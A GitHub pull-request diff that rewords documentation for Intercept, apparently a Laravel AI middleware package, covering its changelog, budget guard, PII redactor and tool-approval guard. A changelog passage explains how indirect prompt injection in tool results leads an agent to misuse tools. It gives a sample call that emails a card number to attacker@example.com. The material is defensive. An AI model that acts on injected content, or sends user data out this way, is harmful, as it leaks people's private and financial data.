Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 4 additions & 4 deletions docs/changelog.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -80,7 +80,7 @@ description: "Product updates and release notes for Intercept, including depende

Intercept has always inspected what goes *out*. It never saw what comes back in. Tool results, retrieved documents, and conversation history do not pass through the middleware pipeline, and that is exactly where indirect prompt injection lives.

When an agent is manipulated by content Intercept never saw, the damage almost always surfaces as a tool call:
When content that Intercept never saw manipulates an agent, the damage almost always surfaces as a tool call:

```text
send_email(to: "attacker@example.com", body: "card 4111111111111111")
Expand Down Expand Up @@ -152,7 +152,7 @@ description: "Product updates and release notes for Intercept, including depende
- logged
- blocked

Documentation has also been updated to include the new supported entity type and usage examples.
Also updated the documentation to include the new supported entity type and usage examples.
</Update>

<Update label="July 16, 2026" description="v0.1.6" tags={["Release", "PII Redaction"]}>
Expand All @@ -165,7 +165,7 @@ description: "Product updates and release notes for Intercept, including depende
- logged
- blocked

Documentation has also been updated to include the new supported entity type and usage examples.
Also updated the documentation to include the new supported entity type and usage examples.
</Update>

<Update label="July 14, 2026" description="v0.1.5" tags={["Release", "Security", "Community"]}>
Expand All @@ -182,7 +182,7 @@ description: "Product updates and release notes for Intercept, including depende
- `PromptInjectionGuardException`
- `PIIRedactorException`

This lets applications catch one shared Intercept exception when they want simpler error handling, while still keeping middleware-specific exceptions available for more granular control.
This lets you catch one shared Intercept exception for simpler error handling. Middleware-specific exceptions remain available for more granular control.

Also added documentation for handling blocked prompts and improved the release title generation used across repositories.
</Update>
Expand Down
8 changes: 4 additions & 4 deletions docs/middleware/budget-guard.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -67,7 +67,7 @@ The whole run, including the cost already accrued by its earlier steps. The Lara
new BudgetGuard(maxCostPerSession: 10.00)
```

The spend recorded against a session key, within a rolling window (`sessionWindowHours`, default 24). A session is only tracked once a key can be resolved for the step. By default that is the agent's own conversation ID, for an agent that implements `RemembersConversations`:
The spend recorded against a session key, within a rolling window (`sessionWindowHours`, default 24). The middleware only tracks a session once it can resolve a key for the step. By default that is the agent's own conversation ID, for an agent that implements `RemembersConversations`:

```php
use Laravel\Ai\Concerns\RemembersConversations;
Expand All @@ -90,7 +90,7 @@ new BudgetGuard(
)
```

A resolver that returns `null` means the step cannot be attributed to a session, so the budget is silently skipped for that step.
When a resolver returns `null`, the middleware cannot attribute the step to a session. It silently skips the budget for that step.

### Per-user daily budget

Expand Down Expand Up @@ -201,7 +201,7 @@ try {

## Custom callback handling

A callback receives the step, the breach, and the cost estimate, and fully replaces the configured action. The return value is ignored, so throw to stop the run:
A callback receives the step, the breach, and the cost estimate, and fully replaces the configured action. The middleware ignores the return value, so throw to stop the run:

```php
use Laravel\Ai\PendingStep;
Expand Down Expand Up @@ -243,6 +243,6 @@ The cost estimate before the call is a character-based approximation unless you

Pricing changes faster than this package releases. Confirm the built-in rates against your provider's own pricing page and override the ones that matter to you.

The session and daily budgets are tracked in the cache, not the database, and reset on their own window rather than at a fixed clock boundary. They require a key resolver that can identify the session or the user; without one, those budgets are silently skipped.
The session and daily budgets are tracked in the cache, not the database, and reset on their own window rather than at a fixed clock boundary. They require a key resolver that can identify the session or the user. Without one, the middleware silently skips those budgets.

When a run's model changes between steps, the per-request budget prices the earlier steps' accrued usage at the current step's rate, which is an approximation.
2 changes: 1 addition & 1 deletion docs/middleware/pii-redactor.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -360,7 +360,7 @@ This passes through unchanged.

### Allowing email domains

Use `allowedDomains` when all email addresses from a trusted domain should be ignored.
Use `allowedDomains` when you want the middleware to ignore all email addresses from a trusted domain.

```php
public function middleware(): array
Expand Down
2 changes: 1 addition & 1 deletion docs/middleware/tool-approval-guard.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -226,7 +226,7 @@ The `type` is one of `denied_tool`, `pii`, or `injection`. The `detail` carries

## Custom callback handling

A callback receives the step, the step response, and the findings, and fully replaces the configured action. The return value is ignored, so throw to stop the run:
A callback receives the step, the step response, and the findings, and fully replaces the configured action. The middleware ignores the return value, so throw to stop the run:

```php
use Laravel\Ai\Gateway\StepResponse;
Expand Down
Loading